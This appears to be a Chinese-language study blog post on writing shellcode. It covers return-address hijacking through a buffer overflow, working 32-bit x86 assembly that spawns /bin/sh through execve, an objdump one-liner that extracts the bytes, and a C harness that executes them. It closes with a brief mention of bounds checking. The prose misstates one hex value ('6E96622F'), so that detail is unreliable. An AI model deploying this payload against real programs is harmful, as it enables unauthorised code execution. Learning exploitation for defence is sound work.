shell code II 習得
若干年後 重新學習一下 shell code。基本的 shell code 概念是塞入 machine code 並執行
- 塞入的位址可寫、可執行
- 程式可跳轉到 shell code 位址
在程式執行過程中、每一個指令 (Instruction) 在記憶體中被標注是可執行、通常 IP 依序 往高位元 執行。 可能的意思表示會根據 Intruction Y 的意義而決定接下來可能執行的內容,像是: jmp 系列、 int 等等, 會短暫或永久的改變目前 IP 的內容。其中,call 是混合了 push、jmp、pop、ret 的操作,代表執行一個 subroutine 。 無視參數的部分 call 本身隱含了將下一個 IP 暫存在 stack 中 (push EIP/push RIP) 並修改目前的 IP 位址。 因程式是根據 IP 位址決定接下來預計執行的 Instruction 在記憶體中的位址,直接修改 IP 可以做到跳轉程式的目的。 而 ret 將會 pop 並將內容存放到 IP 中。
控制程式目前的 EIP/RIP 將下一個執行的 IP (Intruction Pointer) 指向 Shell Code 的區段。如果 callee 有 buffer overflow 的狀況,就可以修改 ret 暫存的位址 (通常是 [ebp+4]) 來改變程式執行。
Shell
像是在之前文章提到,利用 shell code 也需要會寫 shell code,最終使用 shell code 的目的就是拿到 shell script,
因此在 32bit 環境下可以使用若干方式達到目的,其中一種方式就是使用
execve
。為了更有效地使用而直接使用
中斷
方式呼叫
,在 32bit 會使用
int 80
觸發 system call:當 eax 設定為
11 (0x0B)
時呼叫 execve,而參數的部分參考描述得知
EBX 是 arg0、ECX 是 arg1、EDX 是 arg2。執行的目的是 execve("/bin/sh", NULL, NULL) 所以僅需要塞入 EAX 跟 EBX。EBX 則透過
ESP 的方式塞入字串 /bin/sh 轉為 16 進位為 2F62696E2F7368,透過正確的排序方式後為 0068732F 6E96622F。但在利用
overflow 的時候原則上不能出現 00,因此將字串改為 /bin//sh 也就是 68732F2F 6E96622F。
而產生的 shellcode 可以用 objdump 查看。整理成一行可以用指令
objdump -d shell | sed '/[^\t]*\t[^\t]*\t/!d' | cut -f 2 | tr '\n' ' ' | sed -E 's#\s*([0-9a-f]{2})\s*#\\x\1#g'
; nasm -f elf32 shell.s
; ld -m elf_i386 -o shell shell.o
section .text
global _start
_start:
push 0xb
pop eax
push ebx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
xor edx,edx
int 0x80
之後可以用一個簡單 C 程式驗證
// gcc -g -m32 -z execstack shell.c
#include <stdio.h>
int main() {
unsigned char shellcode[] = "YOUR SHELLCODE";
printf("shell code len: %d\n", sizeof(shellcode));
(*(void(*)())shellcode)();
}
Prevent
很多程式語言本身已經開始內建 buffer overflow 的 邊界檢查 (bounds checking) 。而部分編輯器、作業系統也提供部分檢查。